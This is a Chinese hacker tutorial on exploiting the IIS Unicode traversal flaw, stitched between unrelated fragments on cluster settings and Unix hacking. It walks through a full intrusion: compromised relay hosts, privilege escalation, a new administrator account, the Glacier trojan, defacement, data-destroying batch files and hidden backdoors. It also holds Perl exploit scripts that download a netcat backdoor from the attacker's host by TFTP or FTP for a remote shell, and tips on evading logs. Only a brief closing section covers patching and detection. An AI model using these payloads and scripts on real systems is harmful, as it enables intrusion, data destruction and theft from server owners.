EnableEventLogReplication 指定是否在群集范围内启用或禁用“事件日志复制”。（True (1) 代表启用；False (0) 代表禁用。）

群集专用属性名
默认情况下，cluster 没有专用属性。软件供应商可以添加专用属性，以便扩展群集功能

-------------------------------------------------------------------------------------------------

=================>关于unicode漏洞的Win2000全攻略详解<=========================

-------------------------------------------------------------------------------------------------

首先是要找到一台带有共享盘的肉鸡，然后将其共享盘映射会本地。找带共享盘的主机不是很难，用国产的
黑客软件网络刺客就可以了，在网络刺客中“主机资源”菜单里找“扫描共享主机”，然后填写启始i p和结束
ip以后按扫描就，去看会儿电视，再回来看看扫描到没有。没扫描到再换个地址试试，扫描到了的话就可以把
他用共享资源菜单中的“影射指定网络盘”把他影射为自己主机的任意一个盘上。
下面的工作就是把工具copy到肉鸡上，假设对方的共享盘为E,ip为127.1.1.2，我们把它影射到了F盘上。现在
我们需要copy
自己C盘下的gasys.dll、cmd.exe和getadmin.exe到对方的E盘下，可以到DOS下输入：
C:\>copy c:\gasys.dll F:\
1 file(s) copied.

C:\>copy c:\cmd.exe F:\
1 file(s) copied.

C:\>copy c:\getadmin.exe F:\
1 file(s) copied.

至此为止，肉鸡已经搞定了。现在我们要象主目标进行攻击了。假设对方网站的ip是127.1.1.1,先要把
cmd.exe复制到scripts的目录下面，并且要改名，假设对方的物理盘为
E ： http://127.1.1.1/scripts/..á../winnt/system32/cmd.exe?/c+copy+e:\winnt\system32\cmd.ex
e+e:\inetpub\scripts\hackercn .exe
这样我们就已经把cmd.exe复制到了scripts的目录下，并改名为hackercn.exe。现在我们要用它把我们肉鸡
上的E盘影射为这个网站服务器上的Y 盘： http://127.1.1.1/scripts/hackercn.exe?/c+net+use+Y :+\\
127.1.1.2\E 然后把我们copy过去的那3个文件再copy到网站服务器上(cmd.exe虽然刚才已经copy过去了，但
因为改了名，所以还要再copy一次）： http://127.1.1.1/scripts/..á../winnt/system32/cmd.exe ?/
c+copy+Y:\gasys.dll+d:\inetpub\scripts\gasys.dll http://127.1.1.1/scripts/..á../winnt /
system32/cmd.exe?/c+copy+Y:\cmd.exe+d:\inetpub\scripts\cmd.exe http://127.1.1.1/scripts /
..%c1%1c../winnt/system32/cmd.exe?/c+copy+Y:\getadmin.exe+d:\inetpub\scripts\getadmin.exe

好了，现在我们需要把“IUSR_计算机名”这个帐号升级为Administrator（并不是每个站点都有“IUSR_计算
机名”这个帐号）。假设这台计算机名为“S ERVERS”，那么我们可以这样做：
http://127.1.1.1/scripts/getadmin.exe?IUSR_SERVERS
这样所有的访问者都有了Administrator限权，然后我们再来新建一个用户名为hacker密码为password的用户：
http://127.1.1.1/cgi-bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%20hacker%20password%20/add
然后再把它授予Administrator限权： http://127.1.1.1/scripts/getadmin.exe?hacker

下来就是进入该系统并制作后门了：
在nt的dos下输入
C:\>net use \\127.1.1.1\ipc$ "password" /user:"hacker"
现在你已经登陆到了他的主机上，然后上传木马冰河：
C:\>copy C:\unzipped\newglacier\G_Server.exe \\127.1.1.1\admin$\system32
然后用net time来获得对方的时间：
C:\>net time \\127.1.1.1
假设对方的时间是5点40，那么我们将在5点43启动冰河程序：
C:\>at \\127.1.1.1 05:43 G_Server.exe

这样我们就完整的实现了一次入侵，别忘了最后要打扫战场。用冰河删除我们上传过的东西。在“开始”菜单
中的“程序”菜单里用“管理工具”中“域用户管理器”的“菜单用户”里选“选择域”，然后输入
\ \127.1.1.1，然后还原我们做过手脚的用户。

剩下的事就可以用我们植入的冰河来干了。当然，不见得总会那么走运，在入侵中还会碰到最开始copy文
件限权不够等等问题，这就需要大家开动脑筋来解决了。

-------------------------------------------------------------------------------------------------

一般情况下我们用
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
看到的目录是空的：（例如）
Directory of C:\inetpub\scripts
2000-09-28 15:49 〈DIR〉 .
2000-09-28 15:49 〈DIR〉 ..
如果我们这样输入的话：
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
就可以看到该主机c:盘的目录和文件了。
其他的一些简单的用法：
1、显示文件内容
如果想显示里面的其中一个badboy.txt文本文件，我们可以这样输入
（htm,html，asp,bat等文件都是一样的）
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+type+c:\badboy.txt
那么该文件的内容就可以通过IE显示出来。

2、建立文件夹的命令
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+md+c:\badboy
运行后我们可以看到返回这样的结果：
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
英文意思是
CGI错误
具体的CGI申请有误，不能返回完整的HTTP标题，返回的标题为：

3、删除空的文件夹命令：
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+rd+c:\badboy
返回信息同上

4、删除文件的命令:
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+del+c:\badboy.txt
返回信息同上

5、copy文件且改名的命令：
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\badboy.txt bad.txt
返回信息：
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
1 file(s) copied.

6、显示目标主机当前的环境变量
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+set
返回的信息：
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
ALLUSERSPROFILE=E:\Documents and Settings\All Users
AUTH_TYPE=Negotiate
AUTH_USER=BADBOYCL-DQQZQQ\badboy
CASL_BASEDIR_ENV=E:\scan\CyberCop Scanner\casl
CommonProgramFiles=E:\Program Files\Common Files
COMPUTERNAME=BADBOYCL-DQQZQQ
ComSpec=E:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=127.0.0.1
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
HTTP_AUTHORIZATION=Negotiate TlRMTVNTUAADAAAAGAAYAIgAAAAYABgAoAAAAB4AHgBAAAAADAAMAF4AAAAeAB4AagAAAAAAAAC4AAAABYKAgEIAQQ
BEAEIATwBZAEMATAAtAEQAUQBRAFoAUQBRAGIAYQBkAGIAbwB5AEIAQQBEAEIATwBZAEMATAAtAEQAUQBRAFoAUQBR
AODLOAUsBqOAQ3/+AfwqHKj8Q2vzSAGGgkD6hCEY0EoOIKZVHMr4lmc1Ju37n7SleT==
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTPS=off
INSTANCE_I

7、把某个文件夹内的全部文件一次性COPY到另外的文件夹去
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+xcopy c:\badboy c:\inetpub\wwwroot
返回的信息：
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
我们查看c:\inetpub\wwwroot文件夹，结果所有c:\badboy内的都拷贝到该目录里了

8、把某个文件夹剪贴到指定的目录去
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+move c:\badboy c:\inetpub\wwwroot
呵呵，还是可以做到的，时间的长短要看文件的多少了

9、显示某一路径下相同文件类型的文件内容
http://127.0.0.1/scripts/..%c1%1c..\winnt/system32/find.exe?/n+/v+""+c:\inetpub\wwwroot\*.ht*
完全显示出来呀

同样，还有很多命令可以执行，大家可以试试，不过有些时间会很久，有些
是不能执行的。

解释+号，在这里+等于空格键，当然你也可以用空格键，用空格键运行后会
转换为%20 和%c1%1c=/是同一道理的。

对于名字超过8个字母的文件夹，如果我们想看里面的内容时就有点不同了
比如说我们想看目标主机Program Files文件夹里面的内容时，应该这样输入
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\progra~1
这里就不能用+或者%20来代替program与files间的空格。
至于对aa bb这样中间带有空格的文件夹怎么看，目前我还不知道，如果谁知道
可以写出来。

-------------------------------------------------------------------------------------------------

至于对aa bb这样中间带有空格的文件夹怎么看，目前我还不知道，如果谁知道
可以写出来。
通过对dos的8.3规则的补习，终于弄明白怎么看aa bb文件夹了方法就是以下
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir%20e:\aabb~1
aa bb=aabb~1
如果同目录下还有aab b文件夹，就用这样的代码看aab b文件夹里的内容
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir%20e:\aabb~2
依此类推。

四、如何简单地修改目标主机的web页面
一般情况下，我们要修改目标主机的web文件，常用到的方法是利用echo回显、管道
工具> >>。
先复习一下这些命令和管道工具的功能。
D:\>echo/?
显示信息，或将命令响应打开或关上。
ECHO [ON OFF]
ECHO [message]
仅键入 ECHO 而不加参数，可以显示当前的 ECHO 设置。

管道工具> >>的功能
"> >>" 是将命令产生的输出重新定向,比如写到某个文件或输出到打印机中.
>>产生的内容将追加进文件中,>则将原文件内容覆盖。

再看看cmd/?里面的部分内容：
请注意，如果字符串有引号，可以接受用命令分隔符 '&&' 隔开
的多个命令。并且，由于兼容原因，/X 与 /E:ON 相同，/Y 与
/E:OFF 相同，并且 /R 与 /C 相同。忽略任何其它命令选项。
如果指定了 /C 或 /K，命令选项后的命令行其余部分将作为命令行处
理；在这种情况下，会使用下列逻辑处理引号字符("):
1. 如果符合下列所有条件，那么在命令行上的引号字符将被
保留:
- 不带 /S 命令选项
- 整整两个引号字符
- 在两个引号字符之间没有特殊字符，特殊字符为下列中的
一个: <>()@^
- 在两个引号字符之间有至少一个空白字符
- 在两个引号字符之间有至少一个可执行文件的名称。
2. 否则，老办法是，看第一个字符是否是一个引号字符，如果
是，舍去开头的字符并删除命令行上 的最后一个引号字符，
保留最后一个引号字符之后的文字。

————————————————————
从以上可以得到什么启示？
我们知道IIS加载程序检测到有CMD.EXE或者COMMAND.COM串就要检测特殊字符
“&(,;%<>”，如果发现有这些字符就会返回500错误，所以不能直接使用
CMD.EEX加管道符等。
通过
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+badboy+> c:\badboy.txt
我们可以看到提示
HTTP 500 - 内部服务器错误
Internet Explorer
经过反复测试，并从上面cmd内容的提示，我们可以会发现"引号字符是可以利
用的，中联绿盟的yuange(袁哥)发布过关于这字符的公告，我想也许也是从上面
的cmd/?信息中得到提示的，(纯属个人猜想，如果不是，请yuange不要见怪）。

我们要得到echo与>的结合使用，可以这样操作。
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+badboy+> c:\badboy.txt
注意，与开始的命令的区别只在于cmd后面多了个"字符。
运行后我们可以看到返回这样的结果：
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
英文意思是
CGI错误
具体的CGI申请有误，不能返回完整的HTTP标题，返回的标题为：

实际上，我们已经把badboy写入到c:\badboy.txt文件里了。

利用这样的方法我们可以建立.bat .txt .asp .htm .html 等文件，这对于一个存在这
漏洞的网站可以说是致命打击的开始，尤其是能写.bat文件
如果我们在autoexe.bat里面加入format del等命令时，你想结果会如何？？

回到修改网站页面的问题来。
比如说想修改c:\inetpub\wwwroot\default.asp
我们就可以这样在地址栏输入：
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+your+site+has+unicode+bug+> c:\inetpub\wwwroot\default.asp
那么再看他的首页时，已经被修改为
your site has unicode bug

事情就那么简单，任何一个普通人都可以通过地址栏对存在该漏洞的目标主机做最简单的
HACK行为。
当然，如果为了方便输入，我们可以把cmd.exe改名为其他名字的文件，比如说c.exe
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\c.exe
以后使用就可以直接
http://x.x.x.x/scripts/c.exe?/c+echo+badboy+> c:\badboy.txt
------------------------------------------------------------------------------------------------

五、网络里可得到的一些UNICODE扫描程序的分析

1、简单易用的red.exe
操作平台：win9x、NT4、WIN2K
该软件可以在一些中文黑客软件收藏库里找到下载。
red.exe是中国大陆的一位HACK技术爱好者Redp0wer用C++编写的针对某一IP段的
NT主机UNICODE编码漏洞的命令行式扫描工具，该工具扫描速度快，扫描准确。
可以在本地和远程NT肉机上执行扫描工作，并产生一个简单的扫描报告RED.txt
（仅记录所扫描的IP段的NT主机的IP地址）。
该软件对目标NT主机scripts、IISADMPWD、msadc、cgi-bin、_vti_bin目录都做
UNICODE编码漏洞的测试。
如果你仅能在本地机上对某个IP段进行扫描，且是固定IP地址的用户，在使用该
软件时，你须注意你的扫描行为实际上也把你自己暴露给对方。且容易被对方抓
住把柄状告你有入侵行为。我们可以从事件查看器里发现执行的足迹
应用程序日志c:\WINNT\system32\config\AppEvent.Evt
安全日志C:\WINNT\System32\config\SecEvent.Evt
系统日志C:\WINNT\system32\config\SysEvent.Evt

我们分析该软件的源码可以看到：
GET /%s/%s/winnt/system32/cmd.exe?/c%scopy%s%s:\\winnt\\system32\\cmd.exe%s%s\\red.exe HTTP/1.0\n\n
如果从安全扫描工具来说，是不应该对所扫描的目标主机做任何文件的增加和修改。
所以，在你还不知道怎么消除你的足迹和利用肉机来执行扫描时，最好不要利用这
软件作为你的扫描工具。

2、比较全面的UNICODE工具Uni2.pl
只要支持PERL，就可以利用这工具来对目标主机进行UNICODE编码漏洞的扫描。
该程序可以对所有存在UNICODE编码漏洞的NT版本进行扫描测试。以下为该软件
的源程序，具体如何操作就不做详细解说了。
#!/usr/bin/perl
#
# Uni2.pl checks a host for the recent IIS unicode vulnerability
# in 14 different ways. Also gives you the browser URL for the
# exploit. Origionally Stealthmode316, modifications by Roeland
#
#
use Socket;
# --------------init
if ($#ARGV<0) {die "UNICODE-CHECK

Example: ./uni.pl http://www.target.com/n ";}

#($host,$port)=split(/:/,@ARGV[0]);
($host = @ARGV[0]);
$port = 80;

$target = inet_aton($host);
$flag=0;
# ---------------test method 1
my @results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
    HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir\n";}}

# ---------------test method 2
my @results=sendraw("GET /scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir
    HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir\n";}}

# ---------------test method 3
my @results=sendraw("GET /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir
    HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir\n";}}

# ---------------test method 4
my @results=sendraw("GET /scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir
    HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir\n";}}

# ---------------test method 5
my @results=sendraw("GET /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir
    HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir\n";}}

# ---------------test method 6
my @results=sendraw("GET /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir
    HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir\n";}}

# ---------------test method 7
my @results=sendraw("GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
    HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir\n";}}

# ---------------test method 8
my @results=sendraw("GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
    HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir\n";}}

# ---------------test method 9
my @results=sendraw("GET /scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir
    HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir\n";}}

# ---------------test method 10
my @results=sendraw("GET /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir
    HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir\n";}}

# ---------------test method 11
my @results=sendraw("GET /scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
    HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir\n";}}

# ---------------test method 12
my @results=sendraw("GET /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
    HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir\n";}}

# ---------------test method 13
my @results=sendraw("GET /scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
    HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir\n";}}

# ---------------test method 14
my @results=sendraw("GET /msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c\+dir
    HTTP/1.0\r\n\r\n
");
foreach $line (@results){
if ($line =~ /Directory/) {$flag=1;print "$host/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c\+dir\n";}}

if ($flag!=1) {
print "$host: Not vulnerable\n";
exit;
}

sub sendraw {

$hbn = gethostbyname($host);

if ($hbn) {
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,gethostbyname('tcp')0) die("Socket problems\n");

if(connect(S,pack "SnA4x8",2,$port,$target))
    {
my @in;
select(S);
$=1;
print $pstr;

while(<S>{
push @in, $_;
}

select(STDOUT);
close(S);
return @in;
} else {
print "$host: Can't connect\n";
exit;
}
} else {
print "$host: Host not found\n";
exit;
}
}

---------------------------------------------

补充:最主要的访问LOG在C:\WINNT\SYSTEM32\LogFiles\W3SVC1
里面记录着每次的访问记录

------------------------------------------------------------------------------------------------

五、网络里可得到的一些UNICODE扫描程序的分析（续）
3、攻击型NIT_UNICODE软件套装
下载地址http://packetstorm.securify.com/0011-exploits/NIT_UNICODE.zip
压缩包里含有以下文件：
uni.pl -------扫描UNICODE编码漏洞的主PERL程序
uniexe.pl -----执行TFTP过程的PERL程序
ncx99.exe -----一个把telnet端口设置在99的netcat木马
tftpd32.exe -----TFTP设置软件
tftpd32.hlp -----帮助文件
flie_id.diz
vendinfo.diz
readme.file -----使用说明和例子
该程序包主要利用unicode编码漏洞，把ncx99.exe上传到目标主机，并启动，使攻击
者可以通过telnet 目标主机的99端口，登陆到目标主机上进行攻击行为。
以下程序在使用时需要修改一些东西，找到
$command="tftp -i xxx.xxx.xxx.xxx GET ncx99.exe c:\\inetpub\\scripts\\nit.exe";
这句，把xxx.xxx.xxx.xxx.xxx修改为你的IP地址，然后存盘。
这句主要是把NCX99.EXE从你的主机改名传到目标主机c:\inetpub\scripts\去。
另外还需要根据目标主机的NT版本，对程序里的..%c0%af..做相应的修改，比如说
目标主机是WIN2K就修改为..%c1%1c..

#!/usr/bin/perl
# This is for educational purpose's only!
# WHO LET THEM DOGS OUT!
# Use uni.pl first to see if this is a vulnerable server!
# Based of the script unicodeexecute.pl from Roelof Temmngh
# Files=uniexe.pl,uni.pl,readme.file,tftpd32.exe,exploit.readme

use Socket;

if ($#ARGV<0) {die "Usage: uniexe.pl
    IPort command\n";}
($host,$port)=split(/:/,@ARGV[0]);
$target = inet_aton($host);

$failed=1;
$command="dir";
@results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command
    HTTP/1.0\r\n\r\n\cls");
foreach $line (@results){
if ($line =~ /nit.exe/) {$failed=0;}
}
$failed2=1;
if ($failed==1) {

#You need to change the xxx.xxx.xxx.xxx to
    your ip address. Duh!
$command="tftp -i xxx.xxx.xxx.xxx GET ncx99.exe c:\\inetpub\\scripts\\nit.exe";
$command=~s/ /\%20/g;
@results2=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command
    HTTP/1.0\r\n\r\n");
foreach $line2 (@results2){
if (($line2 =~ /nit.exe/ )) {$failed2=0;}
}
}

$command=@ARGV[1];
print "\n
Hit CTRL-C if this is Hanging";

$command=~s/ /\%20/g;
my @results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command
    HTTP/1.0\r\n\r\n");
print @results;

# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')2)
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $=1; print $pstr;
while(<S>{ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }

}
# NIT IN THE YEAR 2000

----------------------------------------------------------------------------------------------

六、unicode编码漏洞提高篇

并不是说有UNICODE编码漏洞，以下的方法就能完全成功，主要给你一种思考的
方式，做到活学活用,举一反三,繁衍出更多更好的利用方法,提高对目标主机攻
击成功机率,使UNICODE编码漏洞的危害性让管理员们更加重视。

读懂MCD帮助里面的内容尤其是这方面的内容：
请注意，如果字符串有引号，可以接受用命令分隔符 '&&' 隔开
的多个命令。并且，由于兼容原因，/X 与 /E:ON 相同，/Y 与
/E:OFF 相同，并且 /R 与 /C 相同。忽略任何其它命令选项。

如果指定了 /C 或 /K，命令选项后的命令行其余部分将作为命令行处
理；在这种情况下，会使用下列逻辑处理引号字符("):

1. 如果符合下列所有条件，那么在命令行上的引号字符将被
保留:

- 不带 /S 命令选项
- 整整两个引号字符
- 在两个引号字符之间没有特殊字符，特殊字符为下列中的
一个: <>()@^
- 在两个引号字符之间有至少一个空白字符
- 在两个引号字符之间有至少一个可执行文件的名称。

2. 否则，老办法是，看第一个字符是否是一个引号字符，如果
是，舍去开头的字符并删除命令行上 的最后一个引号字符，
保留最后一个引号字符之后的文字。

再熟悉一下利用ECHO写入法把一些特殊字符写到文本文件的转换格式
<等于%3C >等于%3E /等于%2F \等于%5C =等于%3D +等于%2B (等于%28
)等于%29 #等于%23 $等于%24 %等于%25 ^等于%5E &等于%26 "等于%22
等于%7C ;等于%3B '等于%27 :等于%3A ?等于%3F ,等于%2C ~等于%7E
!等于%21
另外三个字符可以直接写入 - @ *

警告：
以下所有方法具有严重的危险性，主机管理人员可以通过以下方法检测自己主机
的安全性，了解该漏洞的严重后果；个人HACK爱好者请在本机测试。
由于实验而造成的一切后果和法律纠纷，由实验者自己承担。

1、bat命令法
很多文章都没有介绍如何在unicode编码漏洞中如何利用BAT命令，实际上运用
批处理，可以执行很多在地址栏里无法执行的命令，并且可以简化你输入的过程。
例子：
baddel.bat
del /f /s /q c:\files\*.*
rd c:\files
我们可以这样建立和执行
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+del%20/f%20/s%20/q%20c:\files\*.*>baddel.bat
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+rd%20c:\files>>baddel.bat
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+baddel
结果C盘里的files目录和文件都被删除了。
如果我们把批处理改为format d:/q之类的话，那么D盘就被格式化了。
同样，你可以运用批处理进行更多的攻击，那你就需要好好复习DOS的命令及应用了。
注意：上面第三行的代码就是执行baddel.bat，这里.bat不要输入

2、attrib的运用
用这命令查文件属性和修改文件的属性
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/attrib.exe?c:\inetpub\wwwroot\index.htm
运行后，我们可以看到index.htm的文件属性，往往有时我们无法修改这文件，是因为这文件设为只读。
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/attrib.exe?%20%2br%20%2bh%20d:\inetpub\wwwroot\index.htm
运行后，我们可以把index.htm文件设为只读、隐藏。如果我们把某个后门程序
隐藏起来，并且管理没有设置所有文件可见，那么是不是很方便上传的东西不
被管理员发现呢？
注意这里%2b等于+
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/attrib.exe?%20-r%20-h%20d:\inetpub\wwwroot\index.htm
运行后解除文件的属性。

3、ftp的运用
有时我们需要从一个你有权限的FTP主机把你想用到的一些文件上传到目标主机去，
象ncx99.exe之类的,当然你要把这些文件放在你的空间先。
……/cmd.exe?/c+echo+open+*.*.*.*>badboy.txt
……/cmd.exe?/c+echo+user>>badboy.txt
……/cmd.exe?/c+echo+pass>>badboy.txt
……/cmd.exe?/c+echo+get+ncx99.exe>>badboy.txt
……/cmd.exe?/c+echo+bye>>badboy.txt
然后运行
……/cmd".exe?/c+ftp+-s:badboy.txt
……/cmd.exe?/c+del badboy.txt
完成以上内容后ncx99.exe已经在inetpub/scripts目录里了
剩下的就看你怎么用软件了
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+c:\inetpub\scripts\ncx99.exe
还等什么快telnet x.x.x.x 99
你还有什么垃圾软件，尽管放上去吧。

---------------------------------------------------------------------------------------------------

八、unicode安全问题

1、unicode漏洞解决方案
简单解决方案：
限制网络用户访问和调用CMD的权限，
在SCRIPTS、MSADC目录没必要使用的情况下，删除该文件夹或者改名。
安装NT系统时不要使用默认WINNT路径，你可以改为badboy或者其他什么的文件夹。
当然最好的方法还是下载最著名的补丁公司m$提供的补丁。
该漏洞补丁随微软安全公告MS00-057一起发布
(http://www.microsoft.com/technet/security/bulletin/ms00-057.asp)
可以从如下地址下载补丁:
IIS 4.0
http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp
IIS 5.0
http://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp

2、检查是否被黑客利用unicode漏洞入侵
检查LOG日志
在winnt＼system32＼logfiles＼w3svc1＼目录里保留有web访问记录
如果曾经被人利用UNICODE漏洞访问过，我们可以在日志里看到类似的记录
13:46:07 127.0.0.1 GET /scripts/..＼../winnt/system32/cmd".exe 401
13:46:07 127.0.0.1 GET /scripts/..＼../winnt/system32/cmd".exe 200
如果有人曾经执行过COPY、del、echo、.bat等具有入侵行为命令时
13:47:37 127.0.0.1 GET /scripts/..＼../winnt/system32/cmd".exe 401
13:47:37 127.0.0.1 GET /scripts/..＼../winnt/system32/cmd".exe 502

在winnt/system32/logfiles＼msftp＼svc1目录里可以找到运行FTP的日志
如果有人执行过FTP命令，在日志文件里我可以看到类似的记录
13:59:25 127.0.0.1 [2]USER badboy 331
13:59:25 127.0.0.1 [2]PASS - 230
13:59:25 127.0.0.1 [2]sent /a.txt 226
13:59:25 127.0.0.1 [2]QUIT - 226
这里入侵爱好者请注意，你利用目标主机到某个站点FTP下载什么文件都是被记录
的，不要以为你删除文件、改文件名就可以逃脱你入侵的证据了。
我们不排除有可能入侵者使用代理服务器或者其他的肉机。
当然你知道自己被人利用UNICODE漏洞来入侵自己的主机，但在这些日志里你
无法找到记录，那你就更要注意了，因为你遇到的不是一般的小菜鸟了。

检查事件查看器里面的错误记录
我们也可以在管理工具的事件查看器里找到入侵者的足迹，比如在某个时段出现
比较多的警告信息。信息类似以下内容：

事件类型: 警告
事件来源: W3SVC
事件种类: 无
事件 ID: 100
日期: 2001-2-2
事件: 21:51:26
用户: N/A
计算机: CLUB-BUM1HOYJHJ
描述:
该服务器因为错误 登录失败: 未知的用户名或错误密码。 而无法登录至 Windows NT 帐号 ‘CLUB-BUM1HOYJHJ＼badboy‘。此数据为错误码。
若要获取关于此消息的更多的信息，请访问 Microsoft 联机支持站点:http://www.microsoft.com/contentredirect.asp 。
数据:
0000: 2e 05 00 00 ....


unicode新用法

作者：Hectic
这个用法可能有的人已经想到了
不知道大家有没有碰到过这样的网站
scripts有cmd.exe?/c+dir可以用，但是没有任何权限能够copy文件
或tftp任何文件
管理员把整个硬盘的guest的写权限去了
虽然我们手上有创建管理员用户的程序，但是不能上传，也就不能在对方的
服务器上执行了
怎么办？
看看下面这个例子：
http://www.xxx.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+\\你的ip\共享目录\filename.exe
呵呵
这样服务器就会访问你的共享目录，然后执行filename.exe了
文件在你的机器上，但是却在服务器端执行，我们的目的达到了：）
最好你的机器是win98或fat32分区的nt
要不然服务器没有任何账号就没办法、读你共享目录下的文件了:)


UnixLinux hack的大致思路

当以hacker的身份面对一台*nix系统的机器时，你通常会想到的攻击手段是什么？？？crack passwd？ buffer overflow ？ D.D.O.S ？密码强攻？还是权限提升？cgi漏洞利用…… ……

#本文面向对*nix有一些基本的了解但又对*nix hack的大概思路又不太清楚的新手，如果你是高手，请您要跳过此文。我是初学者，我写这篇文章的目的是以我的理解把初学者觉得难懂的和感觉不连贯的东西用浅显的语言写出来，使大家对*nix hack的基本思路有个清晰的认识，同时，也是一次把自己脑中模糊的东西清晰化的过程，也希望能得到高手们的指点，指出我的错误和不足，所谓利人利己吧，请大家多多指教。

